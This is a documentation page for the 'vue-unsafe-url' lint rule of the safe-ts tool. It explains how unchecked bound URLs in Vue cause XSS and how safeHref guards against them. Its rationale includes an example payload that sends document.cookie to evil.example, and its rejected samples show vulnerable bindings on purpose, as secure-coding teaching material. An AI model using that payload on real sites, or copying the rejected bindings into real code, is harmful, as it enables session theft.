Skip to content

vue-unsafe-url ​

A bound URL that isn't checked: :href, :action, :formaction, :xlink:href, or :src on an <iframe>.

Why: Vue escapes text, but it sets attributes as they are. A link to a user's website, <a :href="user.website">, with javascript:fetch('https://evil.example/?c=' + document.cookie) as the website runs that script for everyone who clicks it (XSS). Browsers run javascript: URLs in links, forms and frames; Vue doesn't block them. Guide: Vue.

✕ Rejectedvue-unsafe-url
vue
<script setup lang="ts">
type Profile = { readonly name: string; readonly website: string };

const props = defineProps<{ profile: Profile }>();
</script>

<template>
  <a :href="props.profile.website">{{ props.profile.name }}</a>
  <a :href="`${props.profile.website}`">{{ props.profile.name }}</a>
</template>

❌ Rejected: safeUrl returns a Result, not a URL

✕ Rejectedvue-unsafe-url
vue
<script setup lang="ts">
import { safeUrl } from "@evobug_com/safe-ts-vue/url";

const props = defineProps<{ website: string }>();
</script>

<template>
  <a :href="safeUrl(props.website)">Website</a>
</template>
✓ Accepted0 diagnostics
vue
<script setup lang="ts">
import { safeHref } from "@evobug_com/safe-ts-vue/url";

type Profile = { readonly id: string; readonly name: string; readonly website: string; readonly email: string };

const props = defineProps<{ profile: Profile }>();
</script>

<template>
  <a :href="safeHref(props.profile.website)">{{ props.profile.name }}</a>
  <a :href="`/profiles/${props.profile.id}`">Profile</a>
  <a :href="'mailto:' + props.profile.email">Email</a>
</template>

safeHref(url) from @evobug_com/safe-ts-vue/url (or @evobug_com/safe-ts-std/url, where it is defined) returns the URL when it is relative or uses http:, https:, mailto: or tel:, and "#" (or a fallback you pass) otherwise. It reads the scheme the way browsers do, so JaVaScRiPt:, leading spaces and java\tscript: don't get through. safeUrl(url) returns a Result instead, for code that wants to say why: bound as it is, an Err becomes href="[object Object]". In a template, use safeHref(url) or unwrapOr(safeUrl(url), "#"). More schemes are allowed when listed: safeHref(url, { schemes: ["flow"] }) (not javascript:, vbscript: or data:).

Also reported: a URL written out that safeHref (or safeUrl in unwrapOr) refuses, as in :href="safeHref('flow://watch')". The page compiles and the link always goes to #. List the scheme ({ schemes: ['flow'] }), or write the URL as a plain attribute.

A value that is a checked URL on one branch and no URL on the other is accepted: props.href === undefined ? undefined : safeHref(props.href), safeHref(url) || undefined, safeHref(url) ?? undefined, ok && safeHref(url). Vue leaves the attribute out for undefined, null and false. Every branch that can be a URL must be accepted on its own.

✅ Accepted: a link only when there is one

✓ Accepted0 diagnostics
vue
<script setup lang="ts">
import { safeHref } from "@evobug_com/safe-ts-vue/url";

const props = defineProps<{ website?: string }>();
</script>

<template>
  <component :is="props.website === undefined ? 'span' : 'a'" :href="props.website === undefined ? undefined : safeHref(props.website)">
    Website
  </component>
</template>

A value whose type is SafeUrl is accepted wherever it comes from: a computed, a const, a prop typed SafeUrl, what a function is declared to return (also in another file), and each branch of ?:, || and ?? (with undefined, which leaves the attribute out). safeHref and safeUrl return one:

✓ Accepted0 diagnostics
vue
<script setup lang="ts">
import { computed } from "vue";
import { safeHref, type SafeUrl } from "@evobug_com/safe-ts-vue/url";

const props = defineProps<{ home: SafeUrl; website: string; linked: boolean }>();
const site = computed(() => safeHref(props.website));
</script>

<template>
  <a :href="props.home">Home</a>
  <a :href="site">Website</a>
  <component :is="props.linked ? 'a' : 'span'" :href="props.linked ? site : undefined">Website</component>
</template>

Accepted values, written in the binding: a string, template string or + concatenation that starts with /, #, ?, ./, ../, http://, https://, mailto: or tel: (an empty string too: it links to the page itself); any safeHref(...) call, whatever its fallback (safeHref(url, fallback), safeHref(url, { schemes, fallback }), options in a variable): safeHref checks the fallback with the same schemes and gives "#" for one it refuses; unwrapOr(safeUrl(url), fallback) with a fallback that is accepted itself (unwrapOr doesn't check it); a call whose first argument is accepted (withBase("/docs/")); and router.resolve(...).href. And, bound by name or written out, a value typed SafeUrl, as above. A template or concatenation must start with written text: `${url}` and '' + url start with whatever url holds, and text added to a checked URL can make it unsafe again (safeHref("java") + "script:…").

What the rule can't see: TypeScript's types, except the ones it reads from declarations (SafeUrl above). safe-ts check doesn't run TypeScript's type checker, so safeHref(props.href?.(1)), which passes undefined to a string parameter, is accepted here and refused by vue-tsc. Run both. A URL checked earlier and bound by name is still reported when its type is string: call safeHref in the binding, or keep the SafeUrl it returns (a computed(() => safeHref(url)) is one). The helpers in the binding are known by their names (safeHref, safeUrl, unwrapOr), not by where they are imported from, so a function of your own with one of those names is trusted too. The object form, v-bind="{ href: url }", isn't checked. A plain attribute (href="/about") is written by you, not data, and isn't checked. :src on an <img> isn't checked: images don't run javascript: URLs.

MIT OR Apache-2.0 · Docs by Gemini 4 Neon Extra